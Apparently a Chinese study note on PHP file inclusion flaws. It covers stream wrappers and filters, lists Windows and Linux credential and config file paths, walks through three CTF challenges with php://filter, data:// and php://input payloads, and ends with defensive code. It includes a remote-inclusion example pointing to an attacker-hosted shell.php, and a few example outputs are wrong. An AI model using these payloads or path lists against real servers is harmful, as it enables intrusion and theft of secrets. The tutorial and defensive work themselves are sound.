文件包含
文件包含
-
什么是文件包含
-
文件包含是一种在编程中常用的技术,尤其在 Web 开发领域较为常见,它允许一个程序将另一个文件的内容整合到自身代码里
-
-
用途
- 代码复用:能够把常用的代码封装在单独的文件里,在多个程序中重复使用,提高开发效率
- 模块化开发:将程序拆分成多个模块,每个模块负责特定的功能,方便代码的管理和维护
-
漏洞产生原因
- 动态文件包含机制
- 应用程序使用动态包含功能(如 PHP 的
include()、require(),Java 的RequestDispatcher等)时,若未对用户输入的文件名进行有效过滤,攻击者可通过构造恶意路径包含任意文件
- 应用程序使用动态包含功能(如 PHP 的
- 路径遍历攻击
- 攻击者通过输入类似
../../etc/passwd的路径,绕过应用程序的目录限制,访问系统敏感文件
- 攻击者通过输入类似
- 远程文件包含(RFI)
- 若服务器配置允许(如 PHP 的
allow_url_include为On),攻击者可指定远程 URL 包含恶意代码(如http://attacker.com/shell.php)
- 若服务器配置允许(如 PHP 的
- 逻辑缺陷
- 应用程序未正确验证文件类型或路径,导致恶意文件被执行(如将
.php文件伪装成.jpg)
- 应用程序未正确验证文件类型或路径,导致恶意文件被执行(如将
- 动态文件包含机制
-
可能利用漏洞
- 本地文件包含(LFI):攻击者可以通过构造恶意的文件路径,让应用程序包含本地的敏感文件,像配置文件、数据库文件等,从而获取敏感信息。
- 远程文件包含(RFI):攻击者可以诱导应用程序包含远程服务器上的恶意文件,进而执行恶意代码,控制服务器。
-
常见函数
- require():找不到被包含的文件会产生致命错误,并停止脚本运行
- include():找不到被包含的文件只会产生警告,脚本继续执行
- require_once()与require()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
- include_once()与include()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
-
敏感文件默认路径
-
Windows
-
C:\boot.ini //查看系统版本 C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件 C:\windows\repair\sam //存储Windows系统初次安装的密码 C:\ProgramFiles\mysql\my.ini //Mysql配置 C:\ProgramFiles\mysql\data\mysql\user.MYD //MySQL root密码 C:\windows\php.ini //php配置信息 C:\Windows\system.ini // 系统初始化配置文件,记录了一些早期 Windows 系统的配置信息 C:\Windows\win.ini //Windows 系统早期的初始化配置文件,涉及系统运行、桌面设置等相关配置 C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup // 系统开机启动项文件夹,可查看哪些程序随系统自动启动 C:\Users\All Users\Application Data // 所有用户共享的应用程序数据文件夹,可能包含一些全局配置信息 C:\inetpub\logs\LogFiles //IIS 服务器日志文件存放目录,可用于分析网站访问情况
-
-
Linux
-
/etc/passwd //账户信息 /etc/shadow //账户密码信息 /usr/local/app/apache2/conf/httpd.conf //Apache2默认配置文件 /usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置 /usr/local/app/php5/lib/php.ini //PHP相关配置 /etc/httpd/conf/httpd.conf //Apache配置文件 /etc/my.conf //mysql配置文件 /var/log/nginx/access.log ////日志文件 /etc/group // 用户组信息文件,记录系统中所有用户组的相关信息 /etc/profile // 系统全局环境变量和启动脚本配置文件,用户登录时会执行其中配置 /root/.bashrc //root 用户的 bash shell 配置文件,定义 root 用户 bash 环境的个性化设置 /var/log/secure // 记录系统安全相关事件,如用户登录尝试(成功或失败)等信息 /usr/local/nginx/conf/nginx.conf //Nginx 服务器默认配置文件 ,用于配置 Nginx 服务相关参数
-
-
-
PHP伪协议(此处只列举几个常用的)
-
php://filter
-
用途:用于对数据流进行过滤和转换,如 Base64 编码、HTML 实体编码等,当它与包含函数一起使用时,读取的文件由于是源码形式,会被当做php文件进行执行,故通常对其进行编码,防止被执行
-
协议的基本格式
-
php://filter/过滤器名称/resource=要读取的文件路径
-
-
实例
-
<?php $file = 'example.txt'; $base64_encoded = file_get_contents('php://filter/convert.base64-encode/resource=' . $file); echo $base64_encoded; ?> -
输出:会将"example.txt"文件的内容进行base64编码后输出
-
-
-
php://input
-
用途:用于读取原始的 HTTP 请求体的内容。它主要用于处理 POST 请求中发送的数据,可以接受POST请求作为输入流的输入,将请求作为输入传递给目标变量,特别是当数据是以 JSON 或 XML 格式发送,或者是其他非表单数据格式时
-
协议的基本格式
-
file=php://input
-
-
实例
-
//当使用此协议时,需要通过POST方法进行传参![屏幕截图 2025-04-24 182923]()
-
-
-
data://
-
用途:用于直接在 URL 中嵌入数据,通常用于传递小型的文本或二进制数据
-
协议的基本格式
-
file=data://[<mime-type>][;base64],<data> -
<mime-type>:这是可选参数,用于指定数据的 MIME 类型,例如text/plain表示纯文本,application/json表示 JSON 数据等。若未指定,默认的 MIME 类型是text/plain。 -
;base64:同样是可选参数,若指定了这个参数,后面的<data>部分必须是经过 Base64 编码的数据。 -
<data>:这是实际要嵌入的数据内容。如果没有指定;base64,则<data>为普通的文本数据;若指定了;base64,则<data>需是 Base64 编码后的字符串
-
-
实例
-
<?php // 读取 Base64 编码的文本数据 $content = file_get_contents('data://text/plain;base64,' . base64_encode('Hello, World!')); echo $content; ?> -
输出:会输出原文
-
-
-
zip://
-
用途:用于访问 ZIP 压缩文件中的文件,这在需要直接读取或操作 ZIP 压缩包内文件时非常有用
-
协议的基本格式
-
zip://<zip_file_path>#<file_path_in_zip> -
<zip_file_path>:ZIP 压缩文件在服务器文件系统中的完整路径。可以是相对路径(相对于当前工作目录)或绝对路径。 -
#:分隔符,用于分隔 ZIP 压缩文件路径和压缩包内文件的路径。 -
<file_path_in_zip>:ZIP 压缩包内要访问的文件的路径。该路径是相对于 ZIP 压缩包根目录的
-
-
实例
-
<?php // ZIP 压缩文件的路径 $zipFilePath = 'path/to/your/archive.zip'; // 压缩包内要访问的文件路径 $fileInZip = 'example.txt'; // 构造 zip:// 伪协议的 URL $url = 'zip://' . $zipFilePath . '#' . $fileInZip; // 读取文件内容 $fileContent = file_get_contents($url); if ($fileContent === false) { echo "读取文件失败,可能是文件不存在或权限不足。"; } else { echo $fileContent; } ?> -
输出:会将在"zipFilePath"压缩包下名为"fileInZip"的文件内容输出
-
-
-
file://
-
用途:用于访问本地文件系统中的文件,它可以让你像访问远程资源一样访问本地文件
-
协议基本格式
-
file://<文件路径> -
<文件路径>可以是相对路径或者绝对路径。在不同操作系统中,路径的表示方式有所不同:- Windows 系统:路径使用反斜杠
\作为分隔符,但在 PHP 字符串里需要用双反斜杠\\或者单斜杠/来转义。例如,file://C:/Users/username/Documents/example.txt或者file://C:\\Users\\username\\Documents\\example.txt。 - Linux 系统:路径使用正斜杠
/作为分隔符,例如file:///home/username/Documents/example.txt。
- Windows 系统:路径使用反斜杠
-
-
实例(读取文件,配合file_get_contents函数使用)
-
<?php // Windows 系统示例 $windowsFilePath = 'file://C:/Users/username/Documents/example.txt'; $windowsContent = file_get_contents($windowsFilePath); if ($windowsContent === false) { echo "读取 Windows 文件失败。"; } else { echo $windowsContent; } // Linux 系统示例 $linuxFilePath = 'file:///home/username/Documents/example.txt'; $linuxContent = file_get_contents($linuxFilePath); if ($linuxContent === false) { echo "读取 Linux 文件失败。"; } else { echo $linuxContent; } ?> -
写入文件,配合file_put_contents函数使用
-
<?php // Windows 系统示例 $windowsFilePath = 'file://C:/Users/username/Documents/output.txt'; $data = "这是要写入文件的内容。"; $bytesWritten = file_put_contents($windowsFilePath, $data); if ($bytesWritten === false) { echo "写入 Windows 文件失败。"; } else { echo "成功写入 $bytesWritten 字节到 Windows 文件。"; } // Linux 系统示例 $linuxFilePath = 'file:///home/username/Documents/output.txt'; $bytesWritten = file_put_contents($linuxFilePath, $data); if ($bytesWritten === false) { echo "写入 Linux 文件失败。"; } else { echo "成功写入 $bytesWritten 字节到 Linux 文件。"; } ?>
-
-
-
-
http:// 与 https://(远程文件包含)
-
用途:主要用于访问远程的 HTTP 或 HTTPS 资源,像网页、API 接口
-
基本命令格式
-
file = http://example.com/attack.php
-
-
实例
-
<?php // 使用 http:// 协议读取远程网页内容 $httpUrl = 'http://example.com'; $httpContent = file_get_contents($httpUrl); if ($httpContent === false) { echo "读取 http 资源失败。"; } else { echo $httpContent; } // 使用 https:// 协议读取远程网页内容 $httpsUrl = 'https://example.com'; $httpsContent = file_get_contents($httpsUrl); if ($httpsContent === false) { echo "读取 https 资源失败。"; } else { echo $httpsContent; } ?>
-
-
-
-
常见的过滤器(承接上处的php://filter)
-
字符串过滤器
-
名称:string.rot13
-
命令基本格式
-
php://filter/read=string.rot13/resource=目标文件名
-
-
原理
- 将字母表中的每个字母替换为其在字母表中 13 个位置之后的字母 ,对字符串进行编码或解码
-
实例
-
<?php // 读取test.txt文件内容并应用string.rot13过滤器 $content = file_get_contents("php://filter/read=string.rot13/resource=test.txt"); echo $content; ?> -
输出:假设 test.txt 内容为
Hello, World!,经过string.rot13过滤器处理后,输出Uryyb, Jbeyq!
-
-
-
名称:string.toupper
-
命令基本格式
-
php://filter/read=string.toupper/resource=目标文件名
-
-
原理
- 将字母表中的每个字母替换为大写字母 ,对字符串进行编码或解码
-
实例
-
<?php // 读取test.txt文件内容并应用string.toupper过滤器 $content = file_get_contents("php://filter/read=string.toupper/resource=test.txt"); echo $content; ?> -
输出:假设 test.txt 内容为
Hello, World!,经过string.toupper过滤器处理后,输出HEELO,WORLD!
-
-
名称:string.tolower
-
功能与string.toupper差不多,只是只是将内容全部转换为小写,在此不多赘述
-
-
名称:string.strip_tags(绕过死亡exit)
-
命令基本格式
-
strip_tags ( string $str [, string|array $allowable_tags = null ] ) : string -
$str:此为必需参数,代表要处理的字符串。 -
$allowable_tags:这是可选参数,它可以是字符串或者数组类型。该参数用于指定允许保留的标签,除此之外的标签都会被移除
-
-
原理
- 从字符串里移除 HTML 和 PHP 标签的内置函数
-
实例
-
<?php $fp = fopen('php://output', 'w'); //允许存在标签<b><i><u> stream_filter_append($fp, 'string.strip_tags', STREAM_FILTER_WRITE, "<b><i><u>"); fwrite($fp, "<b>bolded text</b> enlarged to a <h1>level 1 heading</h1>\n"); fclose($fp); /* 输出: bolded text enlarged to a level 1 heading */ //效果与上述一样 $fp = fopen('php://output', 'w'); stream_filter_append($fp, 'string.strip_tags', STREAM_FILTER_WRITE, array('b','i','u')); fwrite($fp, "<b>bolded text</b> enlarged to a <h1>level 1 heading</h1>\n"); fclose($fp); /* 输出: bolded text enlarged to a level 1 heading */ ?> -
输出:
<b>bolded text</b> enlarged to a level 1 heading <b>bolded text</b> enlarged to a level 1 heading
-
-
-
-
-
转换过滤器
-
名称:convert.base64-encode (decode)
-
基本命令格式
-
php://filter/read=convert.base64-encode(convert.base64-decode)/resource=
-
-
原理
- 将想要读取的源文件进行base64编码或者解码读取,防止源文件被当做php文件执行
-
实例
-
<?php //进行base64编码,输出编码 $fp = fopen('php://output', 'w'); stream_filter_append($fp, 'convert.base64-encode'); fwrite($fp, "This is a test.\n"); fclose($fp); //将输入内容进行base64编码,每八个字符为一组输出 $param = array('line-length' => 8, 'line-break-chars' => "\r\n"); $fp = fopen('php://output', 'w'); stream_filter_append($fp, 'convert.base64-encode', STREAM_FILTER_WRITE, $param); fwrite($fp, "This is a test.\n"); fclose($fp); //将输入内容进行base64解码,然后输出 $fp = fopen('php://output', 'w'); stream_filter_append($fp, 'convert.base64-decode'); fwrite($fp, "VGhpcyBpcyBhIHRlc3QuCg=="); fclose($fp); ?> -
输出:
//第一个输出 VGhpcyBpcyBhIHRlc3QuCg== //第二个输出 VGhpcyBp cyBhIHRl c3QuCg== //第三个输出 This is a test.
-
-
-
名称:convert.quoted-printable-encode (decode)
-
基本命令格式
-
php://filter/read=convert.quoted-printable-encode(decode)/resource=
-
-
原理
- 将数据编码为引用可打印(Quoted-Printable)格式
- 引用可打印编码是一种文本编码方式,主要用于在只能处理 ASCII 字符的环境中安全传输包含非 ASCII 字符或特殊字符的数据。它的编码规则如下:
- 对于 ASCII 码范围在 33 到 126 之间(除了等号
=)的可打印字符,保持不变。 - 对于换行符(LF 或 CR+LF),保持不变。
- 对于其他所有字符,包括非 ASCII 字符、控制字符和等号
=,将其转换为=后面跟两个十六进制数字来表示该字符的 ASCII 码值
- 对于 ASCII 码范围在 33 到 126 之间(除了等号
-
实例
-
<?php // 原始数据,包含非 ASCII 字符 $originalData = "Hello, 世界!"; // 使用过滤器进行引用可打印编码 $encodedStream = fopen('php://filter/read=convert.quoted-printable-encode/resource=php://memory', 'r+'); fwrite($encodedStream, $originalData); rewind($encodedStream); $encodedData = stream_get_contents($encodedStream); // 输出结果 echo "原始数据: " . $originalData . "\n"; echo "编码数据: " . $encodedData . "\n"; // 关闭流 fclose($encodedStream); ?> -
输出
原始数据: Hello, 世界! 编码数据: Hello, =E4=B8=96=E7=95=8C!
-
-
-
名称:convert.iconv.*
-
基本命令格式
-
php://filter/read=convert.iconv.<input-encoding>.<output-encoding>/resource=
-
-
原理
- 把输入数据从一种字符编码转换为另一种字符编码,以此保证数据在不同编码环境下可正确显示和处理,它借助 PHP 的
iconv函数库来实现字符编码转换,iconv函数库可识别多种字符编码,并能在它们之间进行转换
- 把输入数据从一种字符编码转换为另一种字符编码,以此保证数据在不同编码环境下可正确显示和处理,它借助 PHP 的
-
实例
-
<?php $fp = fopen('php://output', 'w'); stream_filter_append($fp, 'convert.iconv.utf-16le.utf-8'); fwrite($fp, "T\0h\0i\0s\0 \0i\0s\0 \0a\0 \0t\0e\0s\0t\0.\0\n\0"); fclose($fp); ?> -
输出
This is a test.
-
-
php支持的编码
-
UCS-4* UCS-4BE UCS-4LE* UCS-2 UCS-2BE UCS-2LE UTF-32* UTF-32BE* UTF-32LE* UTF-16* UTF-16BE* UTF-16LE* UTF-7 UTF7-IMAP UTF-8* ASCII* EUC-JP* SJIS* eucJP-win* SJIS-win* ISO-2022-JP ISO-2022-JP-MS CP932 CP51932 SJIS-mac(别名:MacJapanese) SJIS-Mobile#DOCOMO(别名:SJIS-DOCOMO) SJIS-Mobile#KDDI(别名:SJIS-KDDI) SJIS-Mobile#SOFTBANK(别名:SJIS-SOFTBANK) UTF-8-Mobile#DOCOMO(别名:UTF-8-DOCOMO) UTF-8-Mobile#KDDI-A UTF-8-Mobile#KDDI-B(别名:UTF-8-KDDI) UTF-8-Mobile#SOFTBANK(别名:UTF-8-SOFTBANK) ISO-2022-JP-MOBILE#KDDI(别名:ISO-2022-JP-KDDI) JIS JIS-ms CP50220 CP50220raw CP50221 CP50222 ISO-8859-1* ISO-8859-2* ISO-8859-3* ISO-8859-4* ISO-8859-5* ISO-8859-6* ISO-8859-7* ISO-8859-8* ISO-8859-9* ISO-8859-10* ISO-8859-13* ISO-8859-14* ISO-8859-15* ISO-8859-16* byte2be byte2le byte4be byte4le BASE64 HTML-ENTITIES(别名:HTML) 7bit 8bit EUC-CN* CP936 GB18030 HZ EUC-TW* CP950 BIG-5* EUC-KR* UHC(别名:CP949) ISO-2022-KR Windows-1251(别名:CP1251) Windows-1252(别名:CP1252) CP866(别名:IBM866) KOI8-R* KOI8-U* ArmSCII-8(别名:ArmSCII8)
-
-
-
-
压缩过滤器和转换过滤器(需要的自行查看,不做赘述)
-
-
实战
-
file_include(江苏工匠杯)
-
进入,发现直接给出了源码,其中包含了一个名为check.php的文件
![屏幕截图 2025-04-24 113107]()
-
进入hack Bar,看看是否可以直接访问此页面,发现为空白页面
![屏幕截图 2025-04-24 113520]()
-
还记得我们上述提到的关于php读取文件的伪协议php://filter吗,payload后尝试看一下,由于存在过滤,所以payload当然越简单越好,所以我们就不带上参数(如read,write等)进行payload
payload filename=php://filter/convert.base64-encode/resource=check.php![屏幕截图 2025-04-24 142455]()
-
发现新大陆,页面出现了"do not hack",那这大概率就是check.php这个页面会对提交的命令进行检查,如果发现不合法字符,就返回页面出现的这个命令。那么大概率是对base64进行了过滤,还记得我们上面提到的过滤器吗,先尝试一下字符过滤器
![屏幕截图 2025-04-24 142605]()
-
发现还是被过滤了,接下来尝试字符过滤器的其他类,发现都被过滤了,好吧,没关系,继续往下试,由于转换过滤器中的base64一开始就试过了,那么尝试一下其他类的,payload如下
filename=php://filter/convert.quoted-printable-encode/resource=check.php![屏幕截图 2025-04-24 142704]()
-
继续往下尝试,尝试 iconv 这类方法,payload如下
filename=php://filter/convert.iconv.utf8.utf16/resource=check.php![屏幕截图 2025-04-24 142917]()
-
终于,也是好起来了,我们从回显中可以看到对"read""base"等关键字都进行了过滤,所以当网页对很多关键字进行过滤时,命令越简短越好
![屏幕截图 2025-04-24 142917]()
-
最后访问flag.php页面,获得最终的flag
payload filename=php://filter/convert.iconv.utf8.utf16/resource=flag.php![屏幕截图 2025-04-24 165032]()
-
-
fileinclude(CTF)
-
进入题目,发现还是以源码形式展现,这个题很简单,要求通过GET传参两个参数,其中file2需要对其进行内容检查,file1并没有要求,那我们只需要让 file2 满足要求,让 file1 来读取flag.php的内容即可
![屏幕截图 2025-04-24 184327]()
-
那么问题来了,如何让file2的内容为“hello ctf”,还记得上面讲的php伪协议吗,在这里可以运用此协议将数据写入file2中
-
方法一 data://
-
payload如下
//payload1 ?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=data://text/plain,hello ctf //payload2 ?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=data://text/plain;base64,aGVsbG8gY3Rm -
提交获得答案,进行base64解码即可
![屏幕截图 2025-04-24 185310]()
-
-
方法二 php://input
-
payload如下
?file2=php://input&file1=php://filter/convert.base64-encode/resource=flag.php -
输入此URL,打开BP进行抓包,然后写入POST参数
![屏幕截图 2025-04-24 190141]()
-
发送至重发模块,发送,获得flag
![屏幕截图 2025-04-24 190241]()
-
使用BP自带的解码工具进行解码,选中编码内容,右侧获得flag
![屏幕截图 2025-04-24 190417]()
-
-
-
fileinclude(宜兴网信办)
-
进入例题,发现直接告诉我们flag位置,还问我们要选择的语言
![屏幕截图 2025-04-24 192945]()
-
发现没有其他有用的信息,查看页面源码,代码审计,页面会对每一次的请求获取它的cookies,键为language,如果没有这个键的cookies,那么就自动设置为english,并且返回其php界面,如果有这个键的cookies,就将其加上".php"变为PHP后包含
![屏幕截图 2025-04-24 193125]()
-
那么现在思路清晰了,首先需要将cookies对应的language键对应的value设置为存在值,否则就会显示english.php这个界面,都知道出题人没有这么好心,所以我们肯定要跳出这个检查条件,然后language的值应该为什么呢,如果是english,最后会包含输出english.php这个界面,如果是chinese,最后就会包含输出chinese.php这个界面,开头给了提示,说flag在flag.php这个界面,如果language的值为flag,最后是不是就会输出flag.php,最后用上咱上面讲到的伪协议进行读取
-
payload如下
language=php://filter/convert.base64-encode/resource=flag -
使用BP抓包,发送至重发模块
![屏幕截图 2025-04-24 195036]()
-
发现请求包中并没有cookies,在这里我们点击右边的"Request cookies"添加cookies信息
![屏幕截图 2025-04-24 195304]()
-
添加之后,进行发送,获得编码的flag,解码后获得flag明文
![屏幕截图 2025-04-24 195623]()
-
-
-
预防措施
-
-
白名单验证,如仅允许包含预定义的安全文件路径(如
/var/www/include/下的文件)$allowed_files = ['header.php', 'footer.php']; if (in_array($_GET['file'], $allowed_files)) { include $_GET['file']; } -
禁止路径遍历符号,如过滤
../、/等字符,或使用realpath()规范化路径$file = realpath($_GET['file']); if (strpos($file, '/var/www/allowed/') !== 0) { die("Access denied"); } -
限制文件访问范围,如使用
open_basedir(PHP)或类似配置限制文件访问目录或避免使用相对路径,强制使用绝对路径; php.ini配置 open_basedir = "/var/www/allowed/:/tmp" -
禁用危险配置
- 关闭远程文件包含功能(如 PHP 的
allow_url_include = Off) - 限制文件上传目录的执行权限(如设置为
755并禁止 PHP 解析)
- 关闭远程文件包含功能(如 PHP 的
-
输入转义与过滤,使用
basename()函数获取文件名,剥离路径信息$file = basename($_GET['file']); include "/var/www/allowed/" . $file;对特殊字符(如
?,%,#)进行 URL 解码和转义 -
最小化文件权限
- 确保 Web 服务器账户(如
www-data)仅拥有必要的文件读取权限。 - 敏感文件(如配置文件)存放在 Web 根目录外
- 确保 Web 服务器账户(如
-
日志监控与应急响应
- 记录异常文件包含请求,及时发现攻击行为。
- 定期更新框架和依赖库,修复已知漏洞(如旧版 CMS 的文件包含漏洞)
-
-
实例代码
// 安全的文件包含实现 $allowed_dir = '/var/www/allowed/'; $file = $_GET['file']; // 1. 检查文件路径是否合法 if (!is_string($file) || empty($file)) { die("Invalid file"); } // 2. 规范化路径并验证是否在允许目录内 $real_path = realpath($allowed_dir . $file); if ($real_path === false || strpos($real_path, $allowed_dir) !== 0) { die("Access denied"); } // 3. 检查文件类型(可选) if (!preg_match('/\.(php|html)$/', $real_path)) { die("Invalid file type"); } // 4. 包含文件 include $real_path;




















浙公网安备 33010602011771号